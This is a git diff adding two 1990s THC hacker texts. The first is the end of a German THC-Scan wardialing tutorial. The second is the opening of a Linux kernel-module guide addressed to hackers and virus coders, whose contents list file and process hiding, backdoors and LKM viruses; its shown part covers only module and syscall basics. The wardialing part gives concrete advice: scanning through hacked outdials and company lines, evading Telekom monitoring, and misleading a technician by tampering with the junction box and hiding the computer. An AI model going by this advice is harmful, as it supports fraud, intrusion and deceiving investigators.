+     noch voneinander und seid nicht alleine.\r
+   þ Wenn man Probleme mit einem Modem/Programm hat, dass es nicht laeuft,\r
+     einfach vorher einen Fossil Treiber (z.B. x00-202.zip) laden. Wenn\r
+     das Programm einen solchen ausserdem noch direkt unterstuetzt, dass im\r
+     Programm anwaehlen.\r
+   þ Random/Zufaellig oder Sequentiell waehlen : Random ist unauffaelliger,\r
+     Sequentiell lohnt es sich zu scannen wenn man davor sitzt, weil man\r
+     dann z.B. ein Gefuehl ueber die Verteilung von Nummern bekommt und\r
+     ausserdem bemerkt wenn eine Firma mehrere Nummern hintereinander belegt\r
+     hat.\r
+   þ Wenn das Modem eine VOICE Antwort zurueckgibt, bevor auch nur die\r
+     Zielnummer was hineingesprochen haben koennte, dann reagiert das Modem\r
+     sehr anfaellig auf Rauschen und Stoergeraeusche. Du solltest also bei\r
+     der Dialmask des Nummernbereiches den du scannst ein ",," anhaengen,\r
+     also z.B. "0130-80xxxx,,"\r
+   þ selbiges wenn man Tone-Scanning macht, und zu frueh ein OK zurueckgegeben\r
+     wird.\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Tips zum Benutzen erweiterter Funktionen von THC-Scan ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Mehr zu den jeweiligen Punkten in der Dokumentation von THC-Scan\r
+   (thc-scan.doc)\r
+\r
+   þ Man kann aus interessanten Textfiles, Word-Dokumenten etc. etc.\r
+     die Telefonnummern extrahieren (mit extr-no.exe) und sie dann mit\r
+     der Funktion "Scannen von einer Liste" von THC-Scan inspizieren.\r
+   þ Wer 2+ Telefonleitungen und Modems hat, kann mit Hilfe der Batchdatei\r
+     netscan.bat einfach ueber einen Multitasker, oder im Netz verbundenen\r
+     Rechnern.\r
+   þ Man man sich einen Modemoutdial gehackt hat (z.B. im Internet), kann man\r
+     mit dem Kommandozeilenparameter -o diesen zum Scannen benutzen.\r
+     Verwischt gut die Spuren, ausserdem kann man so leicht und kostenguenstig\r
+     Bereiche abscannen die einen sonst etwas kosten wuerden.\r
+   þ Wer noch Blueboxen kann und will und auch erfolgreich ist, kann den\r
+     besten BB Dialer fuer PCs, den SCAVENGER DIALER (aktuelle Version v0.91)\r
+     mit dem THC-Scan koppeln, den Scavenger Dialer waehlen lassen und THC-Scan\r
+     zum Identifizieren benutzen.\r
+     Aber auch jedes andere Programm kann man das waehlen ueberlassen, z.B.\r
+     einer Blackbox.\r
+   þ Bei dem "Autonomen Modus" kann man Ziffern etc. nachwaehlen, was sehr\r
+     interessant ist, um eine VMB oder PBX schonmal schnell abzuscannen\r
+   þ Der beste NUDGE String ist \r
+     ^~^~^!^~^M^~^M^~^guest^M^~^~guest^M^~^~info^M^~help^M^~^~^~^]^~^M^~^D^~\r
+     .^M^~@^M^~^A^A^A^~^B^C^E^F^G^H^I^J^K^L^~^N^O^P^Q^R^S^T^U^V^W^X^Y^Z^[^\^~\r
+   þ Eine Nummer die schon etwas zurueck liegt nochmal anwaehlen? Einfach\r
+     <BACKSPACE> druecken\r
+   þ Mit S kann man zu einer Nummer eine Notiz schreiben, was sehr nuetzlich\r
+     ist. Wenn man *jede* Nummer die man anwaehlt kommentieren will, einfach\r
+     Alt-S druecken.\r
+   þ Wenn man eine ganze zeitlang gescanned hat, und viele Nummern Busy waren,\r
+     und man diese nun nicht mehr scannen will um fertig zu werden, einfach\r
+     Alt-N druecken.\r
+   þ Wenn man einen Carrier gefunden hat, und sieht wie der Nudge eingegeben\r
+     wird plus die Ausgabe des Modems, und dann eingreifen will, einfach Alt-T\r
+     druecken und selbst Hand anlegen.\r
+   þ Wer ein gutes Modem besitzt kann im TS-CFG die Modem Controlling Option\r
+     FAST statt SECURE einstellen, was das scannen beschleunigt.\r
+   þ Dessen Herz eher an Linux oder FreeBSD/OpenBSD haengt: Man kann THC-Scan\r
+     wunderbar im Dosemu laufen lassen. Auch mit MsDos Multitaskern gibt es\r
+     keine Probleme, nur bei Win95 sollte man erst das MsDos aufrufen.\r
+   þ ... Es gibt noch soviele Funktionen und Optionen, man sollte sich\r
+     unbedingt die komplette Dokumentation durchlesen und Notizen machen.\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Die Gefahren des Scannens ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Kommen wir nun zu einen sehr interessanten Punkt : Was kann mir beim\r
+   0130 Scanning eigentlich passieren ?\r
+   Solange ihr nicht anfangt Nummern zu hacken von der rechtlichen Seite\r
+   her gesehen nichts.\r
+   Obwohl die Telekom am Scanning ja selbst verdient scheint es ihr jedoch\r
+   nicht recht zu sein : Seit jeher hat die Telekom versucht, Leute die viel\r
+   scannen zu stoeren.\r
+   Ich kenne 2 Leute, die sehr viel gescanned haben, und bei denen es irgend-\r
+   wann anfing, dass sie nach Anwahl jeder 2. Telefonnnummer nach den ersten\r
+   Ziffern sofort ein Besetztzeichen bekamen, sobald sie mit dem Scanning\r
+   anfingen.\r
+   Die Telekom tut ausserdem sofort bei Verdacht die Leitungen ueberwachen;\r
+   im Fall "Luzifer" in Muenchen hatte dieser eine grosse Anzahl von Telefon-\r
+   leitungen bei der Telekom geordert was diese verdaechtig fanden. Also\r
+   hoerten sie seine Leitungen ab und protokollierten alles.\r
+\r
+   Inzwischen muss die Telekom aber nicht mehr soviel Handarbeit machen,\r
+   durch ihr Ueberwachungssystem und modernen Vermittlungsstellen kann\r
+   sie Scanning identifizieren und Massnahmen einleiten.\r
+   Mehr ueber dieses System in DIESEM MAGAZIN (c7-ueber.thc).\r
+   Das es eingesetzt wird und auch wirkt laesst sich schoen an einem Fall\r
+   zeigen, der gerade einmal 3 Wochen zurueck liegt :\r
+   Ein Freund hatte wieder exzessives 0130 Scanning betrieben, so ca.\r
+   6 Stunden von 3:00 bis 9:00 morgens. Um 10:00 klingelte das Telefon\r
+   und eine Telekom-Operator war am Apparat und sagte, dass von dem Anschluss\r
+   sehr viele Telefonnummern angerufen wurden, dass die Leitung sofort\r
+   gesperrt wird und erst nach dem Besuch von einem Techniker wieder frei-\r
+   gegeben wird. Der kam 2 Tage spaeter, hatte Leitungsmessungen durchgefuehrt\r
+   ob irgendwo eine Unterbrechung ist und ist dann wieder verschwunden.\r
+\r
+   Was kann ich machen, um das Risiko der Entdeckung meines Scannings zu\r
+   minimieren?\r
+          þ Scanne tagsueber, damit deine Anrufe in dem normalen Telefonver-\r
+            kehr nicht so auffallen.\r
+          þ Scanne nicht viele Nummern, ca. 100-300 sollten kein Problem sein.\r
+          þ Wer kann, sollte das Scanning von dem Anschluss einer Firma aus\r
+            machen und sich dabei nicht erwischen lassen.\r
+          þ Die Nummern nach dem Zufallsprinzip anrufen, nicht der Reihe nach.\r
+          þ Man sollte moeglichst nicht ueber eine ISDN Leitung Scannen,\r
+            denn wenn man entdeckt wird ist es unwahrscheinlich, dass man der\r
+            Telekom glauben machen kann jemand haette an der Leitung\r
+            manipuliert (Durch das ISDN Protokoll kommt sofort ein Alarm,\r
+            wenn die Leitung unterbrochen wird, und das wird geloggt.)\r
+          þ THC-Scan : \r
+            Benutze die DIAL_SPEED_DELAY und SEND_SPEED_DELAY Funktion im\r
+            THC-Scan um so zu tun, als wuerde kein Computer waehlen sondern\r
+            ein Mensch. Setze ausserdem den Wert fuer WAIT_BETWEEN_CALL\r
+            auf ca. 50000. (Die 3 Sachen sind im TS-CFG zu aendern.)\r
+            Das alles wird den Scanvorgang sehr stark verlangsamen, aber wenn\r
+            man eh nur 100-300 Nummern waehlen will und nur den Computer allein\r
+            scannen lassen will, laesst sich das leicht machen waehrend man\r
+            bei der Arbeit/Schule ist, der THC-Scan unterstuetzt alle\r
+            Funktionen fuer automatischen Start/Ende/Anzahl von Anrufen.\r
+            Folgende Kommandozeile wuerde um 10:00 morgens anfangen, 300\r
+            Nummern waehlen und sich dann beenden :\r
+                thc-scan.exe 80-xxxx.dat -m:0130-80xxxx -s:10:00 -#:300\r
+            Ausserdem hat der THC-Scan seit Version v1.4 ein Jamming Detection,\r
+            also wenn die Telekom versucht die Leitung zu stoeren. Mehr \r
+            dazu in der Dokumentation.\r
+\r
+   Was soll ich tun wenn ich entdeckt wurde, und ein Telekom Techniker kommt?\r
+          þ Behalt die Nerven - du weisst von nix.\r
+          þ Bevor der Techniker kommt, versuche den Weg Verteilerkasten unten\r
+            bei dir im Keller so vozubereiten, dass der Techniker den Eindruck\r
+            bekommt, dass jeder ohne Probleme an den Kasten gehen koennte.\r
+            Also sich jemand anderes wahrscheinlich in deine Leitung geklinkt\r
+            hat ... z.B. die Kellertuer offenlassen, das Siegel falls eines\r
+            am Verteilerkasten ist beschaedigen, etc. etc.\r
+          þ Vielleicht will er sich die Anschluesse in der Wohnung ansehen,\r
+            also am besten den Computer vorher zu den Nachbarn stellen,\r
+            ("Ich will bei mir was streichen und alles ist schon vollgestellt")\r
+            die Luecken auffuellen so dass nicht auffaellt, dass etwas fehlt.\r
+          þ Das Scanning danach fuer einige Zeit sein lassen, ggf. die Leitung\r
+            abmelden und sofort eine neue beantragen.\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Schlusswort ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Wir sind am Ende angelangt, jeder wird nun genug wissen, um sich daran\r
+   einmal ausprobieren zu koennen.\r
+   Noch einen letzten Tip: Es lohnt sich auch nicht nur 0130 Nummern zu\r
+   scannen, sondern auch den Firmenbereich im Ort ... ;-)\r
+   Ich hoffe dass es den vielen Anfaengern hilft Fuss zu fassen und sie sich\r
+   entwickeln koennen, damit die deutsche Szene nicht stirbt.\r
+\r
+     Ciao...\r
+                         van Hauser / THC\r
+\r
+\1a
\ No newline at end of file
diff --git a/Papers/LKM_HACKING.html b/Papers/LKM_HACKING.html
new file mode 100644 (file)
index 0000000..b816f1f
--- /dev/null
@@ -0,0 +1,7959 @@
+<HTML>
+<TITLE>(nearly) Complete Linux Loadable Kernel Modules</title>
+<BODY BGCOLOR=WHITE>
+<CENTER>
+<H1><FONT COLOR=#0000FF>
+                (nearly) Complete Linux Loadable Kernel Modules
+</H1></FONT>
+
+
+<H4>
+ -the definitive guide for hackers, virus coders and system administrators-       
+</H4>
+
+</CENTER>
+<P>
+<H4><FONT COLOR=#FF0000>
+written by pragmatic / THC, version 1.0<br>
+released 03/1999<br>               
+</H4></font>
+
+<P><P><P><P><P><P>
+
+<CENTER>
+<H3>
+                                    CONTENTS
+</H3>
+</CENTER>
+
+
+<A HREF="#Introduction">Introduction</A><BR>
+<P><P>
+<B><U>
+I. Basics<BR>
+</B></U>
+<A HREF="#I.1.">1. What are LKMs</A><BR>
+<A HREF="#I.2.">2. What are Syscalls</A><BR> 
+<A HREF="#I.3.">3. What is the Kernel-Symbol-Table</A><BR> 
+<A HREF="#I.4.">4. How to transform Kernel to User Space Memory</A><BR>
+<A HREF="#I.5.">5. Ways to use user space like functions</A><BR> 
+<A HREF="#I.6.">6. List of daily needed Kernelspace Functions</A><BR>
+<A HREF="#I.7.">7. What is the Kernel-Daemon</A><BR> 
+<A HREF="#I.8.">8. Creating your own Devices</A><BR>
+<P><P>
+<B><U>
+II. Fun & Profit<BR>
+</B></U>
+<A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
+<A HREF="#II.2.">2. Interesting Syscalls to Intercept</A><BR>
+<DD><A HREF="#II.2.1.">2.1  Finding interesting systemcalls (the strace approach)</A><BR></DD>
+<A HREF="#II.3.">3. Confusing the kernel's System Table</A><BR>
+<A HREF="#II.4.">4. Filesystem related Hacks</A><BR>
+<DD><A HREF="#II.4.1."> 4.1  How to Hide Files</A><BR></DD>
+<DD><A HREF="#II.4.2."> 4.2  How to hide the file contents (totally)</A><BR></DD>
+<DD><A HREF="#II.4.3."> 4.3  How to hide certain file parts (a prototype implementation)</A><BR></DD>
+<DD><A HREF="#II.4.4."> 4.4  How to monitor redirect file operations</A><BR></DD>
+<DD><A HREF="#II.4.5."> 4.5  How to avoid any file owner problems</A><BR></DD>
+<DD><A HREF="#II.4.6."> 4.6  How to make a hacker-tools-directory unaccessible</A><BR></DD>
+<DD><A HREF="#II.4.7."> 4.7  How to change CHROOT Environments</A><BR></DD>
+<A HREF="#II.5.">5. Process related Hacks</A><BR>
+<DD><A HREF="#II.5.1."> 5.1  How to hide any process</A><BR></DD>
+<DD><A HREF="#II.5.2."> 5.2  How to redirect Execution of files</A><BR></DD>
+<A HREF="#II.6.">6. Network (Socket) related Hacks</A><BR>
+<DD><A HREF="#II.6.1."> 6.1  How to controll Socket Operations</A><BR></DD>
+<A HREF="#II.7.">7. Ways to TTY Hijacking</A><BR>
+<A HREF="#II.8.">8. Virus writing with LKMs</A><BR>
+<DD><A HREF="#II.8.1."> 8.1  How a LKM virus can infect any file (not just modules; prototype)</A><BR></DD>
+<DD><A HREF="#II.8.2."> 8.2  How can a LKM virus help us to get in</A><BR></DD>
+<A HREF="#II.9.">9. Making our LKM invisible & unremovable</A><BR>
+<A HREF="#II.10.">10.Other ways of abusing the Kerneldaemon</A><BR>
+<A HREF="#II.11.">11.How to check for presents of our LKM</A><BR>
+<P><P>
+<B><U>
+III. Soltutions (for admins)<BR>
+</B></U>
+<A HREF="#III.1.">1. LKM Detector Theory & Ideas</A><BR>
+<DD><A HREF="#III.1.1.">1.1  Practical Example of a prototype Detector</A><BR></DD>
+<DD><A HREF="#III.1.2.">1.2  Practical Example of a prototype password protected create_module(...)</A><BR></DD>
+<A HREF="#III.2.">2. Anti-LKM-Infector ideas</A><BR>
+<A HREF="#III.3.">3 Make your programs untraceable (theory)</A><BR>
+<DD><A HREF="#III.3.1.">3.1  Practical Example of a prototype Anti-Tracer</A><BR></DD>
+<A HREF="#III.3.">4. Hardening the Linux Kernel with LKMs</A><BR>
+<DD><A HREF="#III.4.1."> 4.1  Why should we allow arbitrary programs execution rights? 
+      (route's idea from Phrack implemented as LKM)</A><BR></DD>
+<DD><A HREF="#III.4.2"> 4.2  The Link Patch
+      (Solar Designer's idea from Phrack implemented as LKM)</A><BR></DD>
+<DD><A HREF="#III.4.3."> 4.3  The /proc permission patch
+      (route's idea from Phrack implemented as LKM)</A><BR></DD>
+<DD><A HREF="#III.4.4."> 4.4  The securelevel patch
+      (route's idea from Phrack implemented as LKM)</A><BR></DD>
+<DD><A HREF="#III.4.5."> 4.5  The rawdisk patch</A><BR></DD>
+<P><P>
+<B><U>
+IV. Some Better Ideas (for hackers)<BR>
+</B></U>
+<A HREF="#IV.1.">1. Tricks to beat admin LKMs</A><BR>
+<A HREF="#IV.2.">2. Patching the whole kernel - or creating the Hacker-OS</A><BR>
+<DD><A HREF="#IV.2.1."> 2.1  How to find kernel symbols in /dev/kmem</A><BR></DD>
+<DD><A HREF="#IV.2.2."> 2.2  The new 'insmod' working without kernel support</A><BR></DD>
+<A HREF="#IV.3.">3. Last words</A><BR>
+<P><P>
+<B><U>
+V. The near future : Kernel 2.2<BR>
+</B></U>
+<A HREF="#V.1.">1. Main Difference for LKM writer's</A><BR>
+<P><P>
+<B><U>
+VI. Last Words<BR>
+</B></U>
+<A HREF="#VI.1.">1. The 'LKM story' or 'how to make a system plug & hack compatible'</A><BR>
+<A HREF="#VI.2.">2. Links to other Resources</A><BR>
+<P><P>
+<A HREF="#Acknowledgements">Acknowledgements</A><BR>
+<P><P>
+<A HREF="#Greets">Greets</A><BR>
+<P><P><P><P>
+<B><U>
+Appendix<BR>
+</B></U>
+<P><P>
+<B><U>
+A - Source Codes<BR>
+</B></U>
+
+<DD><A HREF="#A-a">a) LKM Infection <I>by Stealthf0rk/SVAT</I></A><BR></DD>
+<DD><A HREF="#A-b">b) Heroin - the classic one <I>by Runar Jensen</I></A><BR></DD>
+<DD><A HREF="#A-c">c) LKM Hider / Socket Backdoor <I>by plaguez</I></A><BR></DD>
+<DD><A HREF="#A-d">d) LKM TTY hijacking <I>by halflife</I></A><BR></DD>
+<DD><A HREF="#A-e">e) AFHRM - the monitor tool <I>by Michal Zalewski</I></A><BR></DD>
+<DD><A HREF="#A-f">f) CHROOT module trick <I>by FLoW/HISPAHACK</I></A><BR></DD>
+<DD><A HREF="#A-g">g) Kernel Memory Patching <I>by ?</I></A><BR></DD>
+<DD><A HREF="#A-h">h) Module insertion without native support <I>by Silvio Cesare</I></A><BR></DD>
+
+<P><P><P><P>
+<HR SIZE="3" WIDTH="300" ALIGN="CENTER" NOSHADE="NOSHADE">
+<P><P><P><P>
+
+<P>
+<H3><A NAME="Introduction"></A>Introduction</H3>
+<P>
+
+The use of Linux in server environments is growing from second to second. So
+hacking Linux becomes more interesting every day. One of the best techniques to
+attack a Linux system is using kernel code. Due to its feature called Loadable
+Kernel Modules (LKMs) it is possible to write code running in kernel space, which
+allows us to access very sensitive parts of the OS. There were some texts and
+files concerning LKM hacking before (Phrack, for example) which were very good.
+They introduced new ideas, new methodes and complete LKMs doing anything a
+hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists)
+in 1998 were very interesting.<BR>
+So why do I write again a text about LKMs. Well there are several reasons :
+<ul>
+<li> former texts did sometimes not give good explanations for kernel beginners;
+  this text has a very big basic section, helping beginners to understand the
+  concepts. I met lots of people using nice exploits/sniffers and so on without
+  even understanding how they work. I included lots of source code in this file
+  with lots of comments, just to help those beginners who know that hacking is
+  more than playing havoc on some networks out there !<br>
+<li> every published text concentrated on a special subject, there was no complete
+  guide for hackers concerning LKMs. This text will cover nearly every aspect of
+  kernel abusing (even virus aspects)<br>
+<li> this texts was written from the hacker / virus coder perspective, but it will
+  also help admins and normal kernel developers doing a better job<br>
+<li> former text showed us the main advantages / methods of abusing LKMs, but
+  there are some things which we have not heard of yet. This text will show
+  some new ideas (nothing totally new, but things which could help us)<br>
+<li> this text will show concepts of some simple ways to protect from LKM attacks<br>
+<li> this text will also show how to defeat LKM protections by using methods like
+  Runtime Kernel Patching<br>
+</ul>
+
+Please remember that new ideas are implemented as prototype modules (just for
+demonstration) which have to be improved in order to use them in the wild.<br>
+The main motivation of this text is giving everyone <i>one</i> big text covering the
+whole LKM problem. In appendix A I give you some existing LKMs plus a short
+description of their working (for beginners) and ways to use them. <br>
+The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested
+all programs and code fragments. The Linux system must have LKM support for
+using most code examples in this text.  Only part  IV  will show some sources 
+working without native LKM support. Most ideas in this text will also work on
+2.2.x systems (perhaps you'll need some minor modification); but recall that
+kernel 2.2.x was just released (1/99) and most linux distribution still use 
+2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE
+will present their kernel 2.2.x versions; so you won't need to know how to hack
+a 2.2.x kernel at the moment. Good administrators will also wait some months
+in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't 
+need kernel 2.2.x so they will continue using 2.0.x].<br>
+This text has a special section dealing with LKMs helping admins to secure the
+system. You (hacker) should also read this section, you <i>must</i> know everything
+the admins know and even more. You will also get some nice ideas from that
+section that could help you develope more advanced 'hacker-LKMs'. Just read the
+whole text !<br>
+<I><u>And please remember</I></u> : This text was only written for educational purpose. Any
+illegal action based on this text is your own problem.<br>
+
+
+<u><b>
+<H2>I. Basics</H2>
+</u></b>
+<P><P>
+<H3><A NAME="I.1."></A>1. What are LKMs</H3>
+
+
+LKMs are Loadable Kernel Modules used by the Linux kernel to expand his
+functionality. The advantage of those LKMs : <i>The can be loaded dynamically</i>;
+there must be no recompilation of the whole kernel. Because of those features
+they are often used for specific device drivers (or filesystems) such as
+soundcards etc.<br>
+Every LKM consist of two basic functions (minimum) :
+<XMP>
+int init_module(void) /*used for all initialition stuff*/
+{
+
+...
+}
+
+void cleanup_module(void) /*used for a clean shutdown*/
+{
+...
+}
+</XMP>
+
+Loading a module - normally retricted to root - is managed by issuing the
+follwing command:
+
+<xmp>
+# insmod module.o
+</xmp>
+
+This command forces the System to do the following things :
+<ul>
+<li>Load the objectfile (here module.o)<br>
+<li>call create_module systemcall (for systemcalls -> see I.2) for Relocation of
+    memory<br>
+<li>unresolved references are resolved by Kernel-Symbols with the systemcall 
+    get_kernel_syms<br>
+<li>after this the init_module systemcall is used for the LKM initialisation
+    -> executing int init_module(void) etc.<br>
+</ul>
+The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).<br>
+So I think we can write our first little LKM just showing how it basicly works:
+
+<xmp>
+#define MODULE
+#include <Linux/module.h>
+
+int init_module(void)
+{
+ printk("<1>Hello World\n");
+ return 0;
+}
+
+void cleanup_module(void)
+{
+ printk("<1>Bye, Bye");
+}
+</xmp>
+
+You may wonder why I used printk(...) not printf(...). Well <i>Kernel-Programming</i>
+is totally different from <i>Userspace-Programming</i> !<br>
+You only have a very restricted set of commands (see I.6). With those commands
+you cannot do much, so you will learn how to use lots of functions you know from
+your userspace applications helping you hacking the kernel. Just be patient, we
+have to do something else before...<br>
+The Example above can easily compiled by
+
+<xmp>
+# gcc -c -O3 helloworld.c
+# insmod helloworld.o
+</xmp>
+
+Ok, our module is loaded and showed us the famous text. Now you can check some
+commands showing you that your LKM really stays in kernel space.<br>
+
+<xmp>
+# lsmod
+Module         Pages    Used by
+helloworld         1         0
+</xmp>
+
+This command reads the information in /proc/modules for showing you which
+modules are loaded at the moment. 'Pages' is the memory information (how many
+pages does this module fill); the 'Used by' field tells us how often the module
+is used in the System (reference count). The module can only be removed, when
+this counter is zero; after checking this, you can remove your module with
+
+<xmp>
+# rmmod helloworld
+</xmp>
+
+Ok, this was our first little (very little) step towards abusing LKMs. I always
+compared those LKMs to old DOS TSR Programs (yes there are many differences, 
+I know), they were our gate to staying resident in memory and catching every
+interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is 
+also  similar to LKMs (also many differences). The most interesting part of
+those resident programs is the ability to hook system functions, in the Linux
+world called systemcalls.<br>
+
+<H3><A NAME="I.2."></A>2. What are systemcalls</h3>
+
+I hope you know, that every OS has some functions build into its kernel, which
+are used for every operation on that system.<br>
+The functions Linux uses are called systemcalls. They represent a transition
+from user to kernel space. Opening a file in user space is represented by the
+sys_open systemcall in kernel space. For a complete list of all systemcalls
+available on your System look at /usr/include/sys/syscall.h. The following list
+shows my syscall.h 
+
+<xmp>
+#ifndef        _SYS_SYSCALL_H
+#define        _SYS_SYSCALL_H
+
+#define        SYS_setup               0 /* Used only by init, to get system going. */
+#define SYS_exit               1
+#define SYS_fork               2
+#define SYS_read               3
+#define SYS_write              4
+#define SYS_open               5
+#define SYS_close              6
+#define SYS_waitpid            7
+#define SYS_creat              8
+#define SYS_link               9
+#define SYS_unlink             10
+#define SYS_execve             11
+#define SYS_chdir              12
+#define SYS_time               13
+#define SYS_prev_mknod         14
+#define SYS_chmod              15
+#define SYS_chown              16
+#define SYS_break              17
+#define SYS_oldstat            18
+#define SYS_lseek              19
+#define SYS_getpid             20
+#define SYS_mount              21
+#define SYS_umount             22
+#define SYS_setuid             23
+#define SYS_getuid             24
+#define SYS_stime              25
+#define SYS_ptrace             26
+#define SYS_alarm              27
+#define SYS_oldfstat           28
+#define SYS_pause              29
+#define SYS_utime              30
+#define SYS_stty               31
+#define SYS_gtty               32
+#define SYS_access             33
+#define SYS_nice               34
+#define SYS_ftime              35
+#define SYS_sync               36
+#define SYS_kill               37
+#define SYS_rename             38
+#define SYS_mkdir              39
+#define SYS_rmdir              40
+#define SYS_dup                        41
+#define SYS_pipe               42
+#define SYS_times              43
+#define SYS_prof               44
+#define SYS_brk                        45
+#define SYS_setgid             46
+#define SYS_getgid             47
+#define SYS_signal             48
+#define SYS_geteuid            49
+#define SYS_getegid            50
+#define SYS_acct               51
+#define SYS_phys               52
+#define SYS_lock               53
+#define SYS_ioctl              54
+#define SYS_fcntl              55
+#define SYS_mpx                        56
+#define SYS_setpgid            57
+#define SYS_ulimit             58
+#define SYS_oldolduname                59
+#define SYS_umask              60
+#define SYS_chroot             61
+#define SYS_prev_ustat         62
+#define SYS_dup2               63
+#define SYS_getppid            64
+#define SYS_getpgrp            65
+#define SYS_setsid             66
+#define SYS_sigaction          67
+#define SYS_siggetmask         68
+#define SYS_sigsetmask         69
+#define SYS_setreuid           70
+#define SYS_setregid           71
+#define SYS_sigsuspend         72
+#define SYS_sigpending         73
+#define SYS_sethostname                74
+#define SYS_setrlimit          75
+#define SYS_getrlimit          76
+#define SYS_getrusage          77
+#define SYS_gettimeofday       78
+#define SYS_settimeofday       79
+#define SYS_getgroups          80
+#define SYS_setgroups          81
+#define SYS_select             82
+#define SYS_symlink            83
+#define SYS_oldlstat           84
+#define SYS_readlink           85
+#define SYS_uselib             86
+#define SYS_swapon             87
+#define SYS_reboot             88
+#define SYS_readdir            89
+#define SYS_mmap               90
+#define SYS_munmap             91
+#define SYS_truncate           92
+#define SYS_ftruncate          93
+#define SYS_fchmod             94
+#define SYS_fchown             95
+#define SYS_getpriority                96
+#define SYS_setpriority                97
+#define SYS_profil             98
+#define SYS_statfs             99
+#define SYS_fstatfs            100
+#define SYS_ioperm             101
+#define SYS_socketcall         102
+#define SYS_klog               103
+#define SYS_setitimer          104
+#define SYS_getitimer          105
+#define SYS_prev_stat          106
+#define SYS_prev_lstat         107
+#define SYS_prev_fstat         108
+#define SYS_olduname           109
+#define SYS_iopl               110
+#define SYS_vhangup            111
+#define SYS_idle               112
+#define SYS_vm86old            113
+#define SYS_wait4              114
+#define SYS_swapoff            115
+#define SYS_sysinfo            116
+#define SYS_ipc                        117
+#define SYS_fsync              118
+#define SYS_sigreturn          119
+#define SYS_clone              120
+#define SYS_setdomainname      121
+#define SYS_uname              122
+#define SYS_modify_ldt         123
+#define SYS_adjtimex           124
+#define SYS_mprotect           125
+#define SYS_sigprocmask                126
+#define SYS_create_module      127
+#define SYS_init_module                128
+#define SYS_delete_module      129
+#define SYS_get_kernel_syms    130
+#define SYS_quotactl           131
+#define SYS_getpgid            132
+#define SYS_fchdir             133
+#define SYS_bdflush            134
+#define SYS_sysfs              135
+#define SYS_personality                136
+#define SYS_afs_syscall                137 /* Syscall for Andrew File System */
+#define        SYS_setfsuid            138
+#define        SYS_setfsgid            139
+#define        SYS__llseek             140
+#define SYS_getdents           141
+#define SYS__newselect         142
+#define SYS_flock              143
+#define SYS_syscall_flock      SYS_flock
+#define SYS_msync              144
+#define SYS_readv              145
+#define SYS_syscall_readv      SYS_readv
+#define SYS_writev             146
+#define SYS_syscall_writev     SYS_writev
+#define SYS_getsid             147
+#define SYS_fdatasync          148
+#define SYS__sysctl            149
+#define SYS_mlock              150
+#define SYS_munlock            151
+#define SYS_mlockall           152
+#define SYS_munlockall         153
+#define SYS_sched_setparam     154
+#define SYS_sched_getparam     155
+#define SYS_sched_setscheduler 156
+#define SYS_sched_getscheduler 157
+#define SYS_sched_yield                158
+#define SYS_sched_get_priority_max     159
+#define SYS_sched_get_priority_min     160
+#define SYS_sched_rr_get_interval      161
+#define SYS_nanosleep          162
+#define SYS_mremap             163
+#define SYS_setresuid          164
+#define SYS_getresuid          165
+#define SYS_vm86               166
+#define SYS_query_module       167
+#define SYS_poll               168
+#define SYS_syscall_poll       SYS_poll
+
+#endif /* <sys/syscall.h> */
+</xmp>
+
+Every systemcall has a defined number (see listing above), which is actually
+used to make the systemcall.<br>
+The Kernel uses interrupt 0x80 for managing every systemcall.  The systemcall
+number and any arguments are moved to some registers (eax for systemcall number,
+for example).<br>
+The systemcall number is an index in an array of a kernel structure called
+sys_call_table[]. This structure maps the systemcall numbers to the needed
+service function.<br>
+Ok, this should be enough knowledge to continue reading. The following table
+lists the most interesting systemcalls plus a short description.
+Believe me, you have to know the exact working of those systemcalls in order to
+make really useful LKMs.<br>
+
+<TABLE border=5 width=100%>
+<tr>
+
+<th>systemcall</th>
+<th>description</th>
+
+
+<tr>
+<td>int sys_brk(unsigned long new_brk);</td>
+<td>changes the size of used DS (data segment)
+ ->this systemcall will be discussed in I.4</td>
+</tr>
+
+
+<tr>
+<td>int sys_fork(struct pt_regs regs);</td>  
+<td>systemcall for the well-know fork() function in user space</td>
+</tr>
+
+<tr>
+<td>int sys_getuid     
+()<br>
+int sys_setuid
+(uid_t uid)<br>
+...</td>
+<td>systemcalls for managing UID etc.</td>
+</tr>
+
+
+
+<tr>
+<td>int sys_get_kernel_sysms(struct kernel_sym *table)</td>
+<td>systemcall for accessing the kernel system table (-> I.3)</td>
+</tr>
+
+<tr>
+<td>int sys_sethostname      
+(char *name,              
+ int len);<br>                
+int sys_gethostname
+(char *name,
+ int len);<br></td>
+<td>sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving
+it</td>
+</tr>
+
+<tr>
+<td>int sys_chdir
+(const char *path);<br>          
+int sys_fchdir           
+(unsigned int fd);<br></td>
+<td>both function are used for setting the current directory (cd ...)</td>
+</tr>
+
+<tr>
+<td>int sys_chmod        
+(const char 
+ *filename, mode_t  
+ mode);<br>
+int sys_chown
+(const char 
+ *filename, mode_t  
+ mode);<br>
+int sys_fchmod
+(unsigned int
+ fildes, mode_t
+ mode);<br>
+int sys_fchown
+(unsigned int
+ fildes, mode_t
+ mode);<br></td>
+<td>functions for managing permissions and so on</td>
+</tr>
+
+<tr>
+<td>int sys_chroot      
+(const char 
+ *filename);</td>
+<td>sets root directory for calling process</td>
